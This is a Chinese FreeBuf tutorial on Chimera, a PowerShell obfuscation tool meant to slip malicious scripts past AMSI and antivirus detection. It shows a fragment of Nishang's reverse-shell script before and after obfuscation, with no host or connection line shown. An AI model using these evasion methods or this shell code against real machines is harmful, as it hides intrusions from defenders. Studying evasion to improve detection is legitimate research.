FreeBuf如何用Chimera进行PowerShell脚本混淆
本文插图
ChimeraChimera是一款针对PowerShell脚本代码的混淆工具 , 广大研究人员可以利用Chimera来对自己的PowerShell脚本代码进行混淆处理 , 并绕过目标设备的AMIS和其他反病毒解决方案 。 该工具可以通过字符串替换和变量连接来规避常见的签名检测 , 并让恶意的PowerShell脚本无法触发AV检测 。
Chimera的主要目标是帮助大家更好地实现反病毒产品的恶意脚本绕过 , 它也进一步证明了绕过AV检测其实是非常简单的一件事情 , 希望Chimera能够激发社区中的各位研究人员去构建出更加健壮可靠的东西 。
Chimera运行机制下面给出的的是Nishang的Invoke-PowerShellTcp.ps1脚本的代码段 , VirusTotal的检测结果如下:
$stream = $client.GetStream[byte]$bytes = 0..65535|%{0}#Send back current username and computername$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")$stream.Write($sendbytes,0,$sendbytes.Length)#Show an interactive PowerShell prompt$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
本文插图
接下来 , 经过Chimera的处理之后 , VirusTotal针对该脚本的混淆版本的检测结果如下:
# Watched anxiously by the Rebel command, the fleet of small, single-pilot fighters speeds toward the massive, impregnable Death Star.$xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov = $jYODNAbvrcYMGaAnZHZwE."$bnyEOfzNcZkkuogkqgKbfmmkvB$ZSshncYvoHKvlKTEanAhJkpKSIxQKkTZJBEahFz$KKApRDtjBkYfJhiVUDOlRxLHmOTOraapTALS"# As the station slowly moves into position to obliterate the Rebels, the pilots maneuver down a narrow trench along the station’s equator, where the thermal port lies hidden.[bYte]$mOmMDiAfdJwklSzJCUFzcUmjONtNWN = 0..65535|%{0}# Darth Vader leads the counterattack himself and destroys many of the Rebels, including Luke’s boyhood friend Biggs, in ship-to-ship combat.# Finally, it is up to Luke himself to make a run at the target, and he is saved from Vader at the last minute by Han Solo, who returns in the nick of time and sends Vader spinning away from the station.# Heeding Ben’s disembodied voice, Luke switches off his computer and uses the Force to guide his aim.# Against all odds, Luke succeeds and destroys the Death Star, dealing a major defeat to the Empire and setting himself on the path to becoming a Jedi Knight.$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK = ([teXt.enCoDInG]::AsCII)."$mbKdotKJjMWJhAignlHUS$GhPYzrThsgZeBPkkxVKpfNvFPXaYNqOLBm"("WInDows Powershell rUnnInG As User " + $TgDXkBADxbzEsKLWOwPoF:UsernAMe + " on " + $TgDXkBADxbzEsKLWOwPoF:CoMPUternAMe + "`nCoPYrIGht (C) 2015 MICrosoft CorPorAtIon. All rIGhts reserveD.`n`n")# Far off in a distant galaxy, the starship belonging to Princess Leia, a young member of the Imperial Senate, is intercepted in the course of a secret mission by a massive Imperial Star Destroyer.$xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov.WrIte($PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK,0,$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK.LenGth)# An imperial boarding party blasts its way onto the captured vessel, and after a fierce firefight the crew of Leia’s ship is subdued.
- 游戏葡萄 Ohayoo如何用定制合作创造机会?,近千款产品初筛通过率不到50%
- 小陈聊搭配|一张“初恋脸”颠倒众生,只一眼就让人心动,她的美太精致了一、「精致初恋脸」的特征二、如何用妆容打造初恋感
- 泥腿看客|有何用意?,普京问久加诺夫办公室为何不挂列宁像
- 小哈谈教育|为什么国外校服那么好看,国内校服却像“麻袋”?这4点原因真实“麻袋”式校服到底有何用意?看完这几点就能明白了同学穿校服时,应该
- 热评丨“新蓝领”评职称:有何用?谁来评?
- 数码实验室 DAVE如何用区块链重新定义数据中台?
- FreeBuf前微软工程师窃取千万美元:自己买车买房,同事做替罪羊
- |秋冬衣橱里黑色衣服最多了,不要浪费,学一下如何用黑色衣服逆袭
- Lady美人日志|秋冬衣橱里黑色衣服最多了,不要浪费,学一下如何用黑色衣服逆袭一、秋冬黑色look拒绝沉闷感穿搭解析二、秋冬黑色look拒绝沉闷感穿搭总结
- 本邑影响力 让你学会如何用社区做营销!,三分钟